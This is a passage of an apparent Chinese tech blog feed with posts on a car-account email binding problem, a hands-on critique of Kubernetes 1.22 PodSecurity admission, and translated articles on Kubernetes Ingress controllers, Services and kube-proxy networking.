&lt;p&gt;交了定金、登记资料之后，销售小哥告诉我可以用账号登录 App，绑定微信公众号来查看交付过程了，问题来了。&lt;/p&gt;

&lt;p&gt;早前曾经好奇注册过一个英文版火箭厂的账号（下简称 A），前些天预约试驾尝试登录的时候就发现，在中文版登录时，网站会显示“登录失败无法使用您提供的信息登录。请重试。”，登录 App 的时候也有一个莫名其妙的异常码，我当时并未在意——毕竟账号是给车主服务的嘛，非车主别给人添乱吧。然而签约后我发现情况有点尴尬了。订单已经连到了 A 账号的邮箱，但是 A 账号可能因为属地原因，无法绑定到微信号上。当时我很聪明地想到了一个对策——修改 A 账号的邮箱到我的 QQ 邮箱，释放主力邮箱之后，再用主邮箱注册国内账号，不就结了吗？让人懊恼的是——国内网站还是提示 A 邮箱已经被注册。被逼无奈，只好启用了一个域名邮箱重新注册，方才在国内注册成功了（下文简称为 B）。&lt;/p&gt;

&lt;p&gt;然而前面提到，订单已经关联到了 A 邮箱，所以现在的情况就很有意思了，用 A 账号打开 App，会看到订单信息，但是 A 账号无法关联公众号，并不知道在国内还会遭遇什么奇怪的情况；用 B 账号呢，就需要把已有订单重新关联到新的邮箱上。&lt;/p&gt;

&lt;p&gt;这个体验是非常古怪和不方便的，我想没人会愿意把新鲜热辣的订单绑到一个无法使用的账号上，那么问题出在哪里呢？&lt;/p&gt;

&lt;p&gt;首先邮箱信息是很关键的，它在全球范围内保障了账户的唯一性，然而极其流畅签约过程中，对这个重要数据的可用性并没有进行确认。整个购买过程中并没有对这个重要数据进行确认，目前为止我的邮箱里仅收到过密码复位以及满意度调查。&lt;/p&gt;

&lt;p&gt;可能有的读者会问，买其他车也不需要验证这些玩意，是不是苛责太过了？我也反思了这个问题，追究这个问题的原因是，账号在这个厂牌的服务和驾驶体系里有非常重要的作用，不掰扯清楚是很难放心用车的。&lt;/p&gt;

&lt;p&gt;其次是异常反馈的问题，前面提到，在切换站点过程中，实际上已经出现了异常信息，然而这些机器码对客户完全没有价值，推测在其业务日志中也没得到反馈，因此这个残缺的数据一直能够残缺地存在，一直到签约一刻才原形毕露。&lt;/p&gt;

&lt;p&gt;再次有个小问题，全局被锁定的邮箱，在更改邮箱之后还没有被释放，所以无法复用。&lt;/p&gt;

&lt;p&gt;最后的问题就复杂了，账号全球一致，无法分区登录，但是订单又变成全球绑定。所以让人产生一种疑惑，这数据到底是全国还是全球？&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;感觉此处应该插入一个 DDD 培训的广告，虽然它可能解决不了问题，但是至少能让你讲出更神奇的故事。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所以说，隔行如隔山，对大厂和技术偶像的崇拜应该点到为止，谁都没办法吞食天地。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>实名反对 PodSecurity Admission</title>
      <link>/post/no-pod-security-admission/</link>
      <pubDate>Fri, 06 Aug 2021 14:53:47 +0800</pubDate>
      <guid>/post/no-pod-security-admission/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/blog/2021/08/04/kubernetes-1-22-release-announcement/&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.22&lt;/a&gt; 中加入了一个新的功能叫 &lt;a href=&#34;https://github.com/kubernetes/enhancements/issues/2579&#34; target=&#34;_blank&#34;&gt;PodSecurity admission&lt;/a&gt;，据称是一个 PSP 的替代方案，于是我就“抱着试一试的态度”，第一时间体验了一下。&lt;/p&gt;

&lt;p&gt;这个新功能的思路很直白，把 Pod/Container SecurityContext 的限制分为了三组，分别命名为 &lt;code&gt;Privileged&lt;/code&gt;、&lt;code&gt;Baseline&lt;/code&gt; 以及 &lt;code&gt;Restricted&lt;/code&gt;，顾名思义，这三个级别代表着特权、普通以及严格管理三种对策。用法还是很简单的，只要给要控制的命名空间或者 Pod 打上标签即可。可用的标签列表如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pod-security.kubernetes.io/enforce: &amp;lt;policy level&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pod-security.kubernetes.io/enforce-version: &amp;lt;policy version&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pod-security.kubernetes.io/audit: &amp;lt;policy level&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pod-security.kubernetes.io/audit-version: &amp;lt;policy version&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pod-security.kubernetes.io/warn: &amp;lt;policy level&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pod-security.kubernetes.io/warn-version: &amp;lt;policy version&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中的规定动作包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enforce&lt;/code&gt; ：仅允许创建符合该策略的 Pod 被创建，不合乎要求的 Pod 会被拒绝；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;audit&lt;/code&gt; ：可以创建违规 Pod，但是会出现在审计日志中；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;warn&lt;/code&gt;：可以创建违规 Pod，但是会在客户端返回警告信息。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;而版本是跟随 Kubernetes 的，例如 &lt;code&gt;1.22&lt;/code&gt; 或者 &lt;code&gt;latest&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;需要注意的是，多数情况下 Pod 都是用模板创建的，为了尽早发现问题，&lt;code&gt;audit&lt;/code&gt; 和 &lt;code&gt;warn&lt;/code&gt; 都是可以针对 Deployment 之类的控制器生效的，而 &lt;code&gt;enforce&lt;/code&gt; 仅对 Pod 有效。&lt;/p&gt;

&lt;h2 id=&#34;举个栗子&#34;&gt;举个栗子&lt;/h2&gt;

&lt;p&gt;首先用 &lt;a href=&#34;https://kind.sigs.k8s.io/&#34; target=&#34;_blank&#34;&gt;Kind&lt;/a&gt; 部署一个测试集群，使用如下的配置文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
featureGates:
  &amp;quot;PodSecurity&amp;quot;: true
nodes:
- role: control-plane
  image: kindest/node:v1.22.0
- role: control-plane
  image: kindest/node:v1.22.0
- role: control-plane
  image: kindest/node:v1.22.0
- role: worker
  image: kindest/node:v1.22.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里使用 &lt;code&gt;&amp;quot;PodSecurity&amp;quot;: true&lt;/code&gt; 启用该功能。创建集群并载入镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kind create cluster --config 122.yaml
 ✓ Ensuring node image (kindest/node:v1.22.0) 🖼
 ✓ Preparing nodes 📦 📦 📦 📦
 ✓ Configuring the external load balancer ⚖️
 ✓ Writing configuration 📜
...
$ kind load docker-image dustise/sleep:v0.9.7
Image: &amp;quot;dustise/sleep:v0.9.7&amp;quot; with ID &amp;quot;sha256:cd6cdf0ece4664dcbc10cb98273799a0e4a0e0c2145bf36bb7031915c0ab04df&amp;quot; not yet present on node &amp;quot;kind-control-plane2&amp;quot;, loading...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;集群生成完毕之后，新建几个命名空间用来测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create ns dev
namespace/dev created
$ kubectl create ns stage
namespace/stage created
$ kubectl create ns prod
namespace/prod created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;给三个命名空间分别打上标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl label ns dev pod-security.kubernetes.io/warn=restricted
namespace/dev labeled
$ kubectl label ns stage pod-security.kubernetes.io/audit=restricted
namespace/stage labeled
$ kubectl label ns prod pod-security.kubernetes.io/enforce=restricted
namespace/prod labeled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来在每个命名空间创建 Deployment，看看会发生什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create deployment sleep --image=dustise/sleep:v0.9.7 -n prod
deployment.apps/sleep created

$ kubectl get pods -n prod
No resources found in prod namespace.

$ kubectl get events -n prod
...
Error creating: allowPrivilegeEscalation != false (container &amp;quot;sleep&amp;quot; must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container &amp;quot;sleep&amp;quot; must set securityContext.capabilities.drop=[&amp;quot;ALL&amp;quot;]), runAsNonRoot != true (pod or container &amp;quot;sleep&amp;quot; must set securityContext.runAsNonRoot=true), seccompProfile (pod or container &amp;quot;sleep&amp;quot; must set securityContext.seccompProfile.type to &amp;quot;RuntimeDefault&amp;quot; or &amp;quot;Localhost&amp;quot;)
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，Deployment 成功创建，然而却没有 Pod 出现，查看事件会看到其创建过程被拒绝。&lt;/p&gt;

&lt;p&gt;再去 Dev 命名空间看一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl create deployment sleep --image=dustise/sleep:v0.9.7 -n dev
Warning: would violate &amp;quot;latest&amp;quot; version of &amp;quot;restricted&amp;quot; PodSecurity profile: allowPrivilegeEscalation != false (container &amp;quot;sleep&amp;quot; must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container &amp;quot;sleep&amp;quot; must set securityContext.capabilities.drop=[&amp;quot;ALL&amp;quot;]), runAsNonRoot != true (pod or container &amp;quot;sleep&amp;quot; must set securityContext.runAsNonRoot=true), seccompProfile (pod or container &amp;quot;sleep&amp;quot; must set securityContext.seccompProfile.type to &amp;quot;RuntimeDefault&amp;quot; or &amp;quot;Localhost&amp;quot;)
deployment.apps/sleep created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到直接返回告警信息，但是 Pod 还是建立起来了。&lt;/p&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;这个新功能在我看来有些尴尬，每个类别的策略都是隐藏在预配置之中的，要想创建符合其要求的 Pod 可能会费点力气，用 CI 或者 Kyverno 辅助创建可能会更好。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>数据包在 Kubernetes 中的一生（4）</title>
      <link>/post/life-of-a-packet-in-k8s-4/</link>
      <pubDate>Tue, 22 Jun 2021 12:43:08 +0800</pubDate>
      <guid>/post/life-of-a-packet-in-k8s-4/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://dramasamy.medium.com/life-of-a-packet-in-kubernetes-part-4-4dbc5256050a&#34; target=&#34;_blank&#34;&gt;Life of a Packet in Kubernetes — Part 4&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://dramasamy.medium.com/&#34; target=&#34;_blank&#34;&gt;Dinesh Kumar Ramasamy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本篇内容会跟进 Kubernetes 的 Ingress 和 Ingress 控制器。Ingress 控制器会关注 API Server 中 Ingress 对象的更新，并据此配置 Ingress 的负载均衡。&lt;/p&gt;

&lt;h2 id=&#34;nginx-控制器和负载均衡-代理服务器&#34;&gt;Nginx 控制器和负载均衡/代理服务器&lt;/h2&gt;

&lt;p&gt;Ingress 控制器一般会是一个以 Pod 形式运行在 Kubernetes 集群中的应用，它会根据集群中的 Ingress 对象的变化对负载均衡器进行配置。这里说的负载均衡器可以是一个集群内运行的软件，也可以是一个硬件，还可以是集群外部运行在云基础设施中。不同的负载均衡器需要不同的 Ingress 控制器。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1.png&#34; alt=&#34;1.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Ingress 的基本目标是提供一个相对高级的流量（尤其是 http(s)）管理能力。使用 Ingress 可以在无需创建多个负载均衡或者对外开放多个 Service 的条件下，为服务流量进行路由。可以给服务配置外部 URL、进行负载均衡、终结 SSL 以及根据主机名或者内容进行路由等。&lt;/p&gt;

&lt;h2 id=&#34;配置选项&#34;&gt;配置选项&lt;/h2&gt;

&lt;p&gt;在把 Ingress 对象转换为负载均衡配置之前，Kubernetes Ingress 控制器会用 Ingress Class 对 Kubernetes 的 Ingress 对象进行过滤。这样就允许多个 Ingress 控制器共存，各司其职。&lt;/p&gt;

&lt;h3 id=&#34;基于前缀&#34;&gt;基于前缀&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: prefix-based
  annotations:
    kubernetes.io/ingress.class: &amp;quot;nginx-ingress-inst-1&amp;quot;
spec:
  rules:
  - http:
      paths:
      - path: /video
        pathType: Prefix
        backend:
          service:
            name: video
            port:
              number: 80
      - path: /store
        pathType: Prefix
        backend:
          service:
            name: store
            port:
              number: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;基于主机&#34;&gt;基于主机&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: host-based
  annotations:
    kubernetes.io/ingress.class: &amp;quot;nginx-ingress-inst-1&amp;quot;
spec:
  rules:
  - host: &amp;quot;video.example.com&amp;quot;
    http:
      paths:
      - pathType: Prefix
        path: &amp;quot;/&amp;quot;
        backend:
          service:
            name: video
            port:
              number: 80
  - host: &amp;quot;store.example.com&amp;quot;
    http:
      paths:
      - pathType: Prefix
        path: &amp;quot;/&amp;quot;
        backend:
          service:
            name: store
            port:
              number: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;主机加前缀&#34;&gt;主机加前缀&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: host-prefix-based
  annotations:
    kubernetes.io/ingress.class: &amp;quot;nginx-ingress-inst-1&amp;quot;
spec:
  rules:
  - host: foo.com
    http:
      paths:
      - backend:
          serviceName: foovideo
          servicePort: 80
        path: /video
      - backend:
          serviceName: foostore
          servicePort: 80
        path: /store
  - host: bar.com
    http:
      paths:
      - backend:
          serviceName: barvideo
          servicePort: 80
        path: /video
      - backend:
          serviceName: barstore
          servicePort: 80
        path: /store
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ingress 是一个内置 API 对象，但是 Kubernetes 并没有内置任何 Ingress 控制器，需要另行安装控制器才能真正地使用 Ingress。Ingress 功能是由 API 对象和控制器协同完成的。Ingress 对象负责描述集群中 Service 对象的开放需求。而控制器则负责真正的实现 Ingress API，根据 Ingress 对象的定义内容来完成实际工作。市面上有很多不同的 Ingress 控制器，需要根据实际用例谨慎地进行选择使用。&lt;/p&gt;

&lt;p&gt;同一集群里可以有多个 Ingress 控制器，并为每个 Ingress 直接指派具体的控制器，在同一个集群中可以根据不同需要为不同服务配置不同的 Ingress。例如某服务用于一个 Ingress 处理来自集群外的 SSL 流量，另外一个用于处理集群内的明文通信。&lt;/p&gt;

&lt;h2 id=&#34;部署选项&#34;&gt;部署选项&lt;/h2&gt;

&lt;h3 id=&#34;contour-envoy&#34;&gt;Contour + Envoy&lt;/h3&gt;

&lt;p&gt;Contour Ingress 控制器由两部分组成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Envoy 提供了高性能的反向代理服务；&lt;/li&gt;
&lt;li&gt;Contour 负责对 Envoy 进行管理，为其下发配置。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些容器是各自部署的，Contour 是一个 Deployment，而 Envoy 则是一个 Daemonset，当然也可以用其他模式进行部署。Contour 是 Kubernetes API 的客户端，会跟踪 Ingress、HTTPProxy、Secret、Service 以及 Endpoint 对象，并承担管理 Envoy 的职责，它会把它的对象缓存转换为 Envoy 的 JSON 报文，Service 转换为 CDS、Ingress 转为 RDS、Endpoint 转换为 EDS 等。&lt;/p&gt;

&lt;p&gt;下面的例子展示了启用 Host Network 的 EnvoyProxy：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2.png&#34; alt=&#34;2.png&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;nginx&#34;&gt;Nginx&lt;/h3&gt;

&lt;p&gt;Nginx Ingress 控制器的主要能力之一就是生成配置文件（&lt;code&gt;nginx.conf&lt;/code&gt;）。这个实现还有个需要就是在配置发生变化之后重载 Nginx。在只有 &lt;code&gt;upstream&lt;/code&gt; 发生变化时（例如部署调整时产生的 Endpoint 变化）不会进行重载，而是通过 &lt;a href=&#34;https://github.com/openresty/lua-nginx-module&#34; target=&#34;_blank&#34;&gt;lua-nginx-module&lt;/a&gt; 完成任务。&lt;/p&gt;

&lt;p&gt;每次 Endpoint 发生变动，控制器会从所有服务中拉取 Endpoint，生成对应的后端对象。这些对象会被发送给 Nginx 中运行的 Lua 处理器。Lua 代码会把这些对象保存到共享内存区域。每次 &lt;code&gt;balancer_by_lua&lt;/code&gt; 都会检查一下 upstream 中的有效节点，以此为目标按照预配置的算法进行负载均衡。如果在一个较大的集群中有比较频繁的发布行为，这种避免重载的方式能够大幅减少重载次数，从而更好地保障了响应的延迟时间，达成较高的负载均衡水平。&lt;/p&gt;

&lt;h3 id=&#34;nginx-keepalived-高可用部署&#34;&gt;Nginx+ Keepalived —— 高可用部署&lt;/h3&gt;

&lt;p&gt;Keepalived 守护进程可以监控服务或者系统，如果发现问题，能够进行自动的切换。配置一个能在节点之间转移的浮动 IP。如果节点宕机，浮动 IP 会自动漂移到其它节点，Nginx 可以绑定到新的 IP 地址。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/3.png&#34; alt=&#34;3.png&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;metallb-面向具备少量公有-ip-池的私有集群的负载均衡服务&#34;&gt;MetalLB —— 面向具备少量公有 IP 池的私有集群的负载均衡服务&lt;/h3&gt;

&lt;p&gt;部署到 Kubernetes 中的 MetalLB 为集群提供了一个负载均衡的实现。简单说来，MetalLB 能够在非公有云 Kubernetes 环境中对 LoadBalancer 类型的 Service 提供支持。在托管 Kubernetes 环境中，申请一个负载均衡之后，云平台会给这个新的负载均衡分配 IP；MetalLB 可以负责这个分配过程。MetalLB 给 Service 分配外部 IP 之后，需要声明该 IP 属于本集群，它使用标准路由协议来完成这一任务：ARP、NDP 或 BGP。&lt;/p&gt;

&lt;p&gt;在 2 层模式中，集群的一个节点获取这个 Service 的所有权，然后使用标准的地址发现协议（IPv4 使用 ARP、IPv6 使用 NDP）在本地网中让次 IP 可达。从局域网的角度来看，这个节点只是多了一个 IP 地址。&lt;/p&gt;

&lt;p&gt;在 BGP 模式中，集群中的所有节点都会对附近的路由器发起 BGP 对等会话，告知路由器如何将流量转发给这些服务。BGP 的策略机制有细粒度的流量控制能力，能真正地在多个节点之间进行负载均衡。&lt;/p&gt;

&lt;p&gt;MetalLB 的 Pod：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Controller（Deployment）是集群级的 MetalLB 控制器，负责 IP 分配。&lt;/li&gt;
&lt;li&gt;Speaker（Daemonset）在每个节点上运行，使用多种发布策略公告服务和外部 IP 的对应关系。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/4.png&#34; alt=&#34;4.png&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;MetalLB 能够用在集群里的任何 &lt;code&gt;LoadBalancer&lt;/code&gt; 类型的 Service 中，但是 MetalLB 为大型 IP 地址池工作就不太现实了。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>数据包在 Kubernetes 中的一生（3）</title>
      <link>/post/life-of-a-packet-in-k8s-3/</link>
      <pubDate>Sun, 20 Jun 2021 10:06:21 +0800</pubDate>
      <guid>/post/life-of-a-packet-in-k8s-3/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://dramasamy.medium.com/life-of-a-packet-in-kubernetes-part-3-dd881476da0f&#34; target=&#34;_blank&#34;&gt;Life of a Packet in Kubernetes — Part 3&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://dramasamy.medium.com/&#34; target=&#34;_blank&#34;&gt;Dinesh Kumar Ramasamy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本章我们会讨论一下 Kubernetes 的 &lt;code&gt;kube-proxy&lt;/code&gt; 是如何使用 &lt;code&gt;iptables&lt;/code&gt; 控制流量的。注意，&lt;code&gt;kube-proxy&lt;/code&gt; + &lt;code&gt;iptables&lt;/code&gt; 的组合并非完成该任务的唯一选择。&lt;/p&gt;

&lt;p&gt;我们会从 Kubernetes 的多种通信模型和实现开始，如果读者已经了解了 Service、ClusterIP 以及 NodePort 的概念，可以直接跳到 &lt;code&gt;kube-proxy/iptables&lt;/code&gt; 一节。&lt;/p&gt;

&lt;h2 id=&#34;pod-到-pod&#34;&gt;Pod 到 Pod&lt;/h2&gt;

&lt;p&gt;CNI 会配置节点和 Pod 的路由，&lt;code&gt;kube-proxy&lt;/code&gt; 不会介入 Pod 到 Pod 之间的通信过程。所有的容器都无需 NAT 就能互相通信；节点和容器之间的通信也是无需 NAT 的。&lt;/p&gt;

&lt;p&gt;Pod 的 IP 地址是不固定的（也有办法做成静态 IP，但是缺省配置是不提供这种保障的）。在 Pod 重启时 CNI 会给他分配新的 IP 地址，CNI 不负责维护 IP 地址和 Pod 的映射。Pod 名称在 Deployment 之中也是不固定的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1.png&#34; alt=&#34;1.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Deployment 中的 Pod 是无状态的，一个应用可能会有多个 Pod 副本，因此需要一个负载均衡之类的东西来负责对外开放服务，Kubernetes 中的 Service 对象负责完成这个任务。&lt;/p&gt;

&lt;h2 id=&#34;pod-到外部&#34;&gt;Pod 到外部&lt;/h2&gt;

&lt;p&gt;Kubernetes 会使用 &lt;a href=&#34;https://en.wikipedia.org/wiki/Network_address_translation&#34; target=&#34;_blank&#34;&gt;SNAT&lt;/a&gt; 完成从 Pod 向外发出的访问。SNAT 会将 Pod 的内部 &lt;code&gt;IP:Port&lt;/code&gt; 替换为主机的 &lt;code&gt;IP:Port&lt;/code&gt;。返回数据包到达节点时，&lt;code&gt;IP:Port&lt;/code&gt; 又会换回 Pod。这个过程对于原始 Pod 是透明无感知的。&lt;/p&gt;

&lt;h2 id=&#34;pod-到-service&#34;&gt;Pod 到 Service&lt;/h2&gt;

&lt;h3 id=&#34;cluster-ip&#34;&gt;Cluster IP&lt;/h3&gt;

&lt;p&gt;Kubernetes 有一个叫做 &lt;code&gt;Service&lt;/code&gt; 的对象，是一个通向 Pod 的 4 层负载均衡。&lt;code&gt;Service&lt;/code&gt; 对象有很多类型，最基本的类型叫做 &lt;code&gt;ClusterIP&lt;/code&gt;，这种类型的 Service 有一个唯一的 VIP 地址，其路由范围仅在集群内部有效。&lt;/p&gt;

&lt;p&gt;Kubernetes 集群中，Pod 可能发生移动、重启、升级或者扩缩容，因此向应用 Pod 发送流量是有困难的，另外应用通常有多个副本，我们需要一些方法来进行负载均衡。&lt;/p&gt;

&lt;p&gt;Kubernetes 使用 &lt;code&gt;Service&lt;/code&gt; 对象来解决这个问题。Service 是一个 API 对象，它用一个虚拟 IP 映射到一组 Pod。另外 Kubernetes 为每个 Service 的名称及其虚拟 IP 建立了 DNS 记录，因此可以轻松地根据名称进行寻址。&lt;/p&gt;

&lt;p&gt;虚拟 IP 到 Pod IP 的转换是通过每个节点上的 &lt;code&gt;kube-proxy&lt;/code&gt; 完成的。在 Pod 向外发起通信时，这个进程会通过 iptables 或者 IPVS 自动把 VIP 转为 Pod IP，每个连接都有跟踪，所以数据包返回时候，地址还能够被正确地转回原样。IPVS 和 iptables 在 VIP 和 Pod IP 之间承担着负载均衡的角色，IPVS 能够提供更多的负载均衡算法。虚拟 IP 并不存在于网络接口上，而是在 iptable 中：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2.png&#34; alt=&#34;2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;FrontEnd Deployment：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: webapp
  labels:
    app: webapp
spec:
  replicas: 2
  selector:
    matchLabels:
      app: webapp
  template:
    metadata:
      labels:
        app: webapp
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        imagePullPolicy: IfNotPresent
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Backend Deployment：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: auth
  labels:
    app: auth
spec:
  replicas: 2
  selector:
    matchLabels:
      app: auth
  template:
    metadata:
      labels:
        app: auth
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        imagePullPolicy: IfNotPresent
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Service：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: v1
kind: Service
metadata:
  name: frontend
  labels:
    app: frontend
spec:
  ports:
  - port: 80
    protocol: TCP
  type: ClusterIP
  selector:
    app: webapp
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  labels:
    app: backend
spec:
  ports:
  - port: 80
    protocol: TCP
  type: ClusterIP
  selector:
    app: auth
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在 FrontEnd Pod 能够通过 ClusterIP 或者 DNS 名称来访问 Backend 了。CoreDNS 这样的 DNS 服务器具备 Kubernetes 集群感知的能力，他们会对 Kubernetes API 进行监控，一旦新建了 Service，就会新建对应的 DNS 记录。如果集群中启用的 DNS，所有 Pod 都能够自动的根据 DNS 名称来解析到 Service。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/3.png&#34; alt=&#34;3&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;nodeport-外部到-pod&#34;&gt;NodePort（外部到 Pod）&lt;/h3&gt;

&lt;p&gt;在集群内部可以用 DNS 访问 Service。然而 Service 的 IP 是私有的和虚拟的，所以集群外是无法访问的。&lt;/p&gt;

&lt;p&gt;试试看从外部访问 frontEnd 的 Pod（此时还没有给 frontEnd 创建 Service）：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/4.png&#34; alt=&#34;4.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Pod IP 是私有的，无法路由。&lt;/p&gt;

&lt;p&gt;接下来创建一个 NodePort 类型的 Service 把 FrontEnd 服务开放给外部世界。如果把 &lt;code&gt;type&lt;/code&gt; 字段设置为 &lt;code&gt;NodePort&lt;/code&gt;，Kubernetes 控制面使用 &lt;code&gt;--service-node-port-range&lt;/code&gt; 参数为 NodePort 服务分配了一个端口范围。每个节点都会会把这个端口映射给特定的服务。Service 使用 &lt;code&gt;.spec.ports[*].nodePort&lt;/code&gt; 字段来指定该端口：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: v1
kind: Service
metadata:
  name: frontend
spec:
  type: NodePort
  selector:
    app: webapp
  ports:
      # By default and for convenience, the `targetPort` is set to the same value as the `port` field.
    - port: 80
      targetPort: 80
      # Optional field
      # By default and for convenience, the Kubernetes control plane will allocate a port from a range (default: 30000-32767)
      nodePort: 31380
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/5.png&#34; alt=&#34;5.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这样就可以在集群外使用任意节点的 nodePort 来访问服务了。还可以给 &lt;code&gt;nodePort&lt;/code&gt; 赋值以指定特定开放端口。这种情况下，为了防止端口冲突，需要自行管理端口，并且指定端口也必须在参数中声明的端口范围之内。&lt;/p&gt;

&lt;h3 id=&#34;externaltrafficpolicy&#34;&gt;ExternalTrafficPolicy&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ExternalTrafficPolicy&lt;/code&gt; 字段表明所属 Service 对象会把来自外部的流量路由给本节点还是集群范围内的端点。如果赋值为 &lt;code&gt;Local&lt;/code&gt;，会保留客户端源 IP 同时避免 &lt;code&gt;NodePort&lt;/code&gt; 类型服务的多余一跳，但是有流量分配不均匀的隐患；如果设置为 &lt;code&gt;Cluster&lt;/code&gt;，会抹掉客户端的源 IP，并导致到其它节点的一跳，但会获得相对较好的均衡效果。&lt;/p&gt;

&lt;h4 id=&#34;cluster&#34;&gt;Cluster&lt;/h4&gt;

&lt;p&gt;这是 Kubernetes Service 的缺省 &lt;code&gt;ExternalTrafficPolicy&lt;/code&gt;。这个选项会把流量平均分配给该 Service 的所有 Pod 上。&lt;/p&gt;

&lt;p&gt;这种策略的一个弱点是会存在不必要的节点间网络跳转。例如在一个节点的 NodePort 上接收到流量时，即使本节点上存在可用 Pod，流量还是可能会随机地把流量路由到另外一个节点上的 Pod，造成不必要的跳转。&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;Cluster&lt;/code&gt; 策略下，数据包的流向：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;客户端把数据包发送给 &lt;code&gt;node2:31380&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node2&lt;/code&gt; 替换源 IP 地址（SNAT）为自己的 IP 地址；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node2&lt;/code&gt; 将目标地址替换为 Pod IP；&lt;/li&gt;
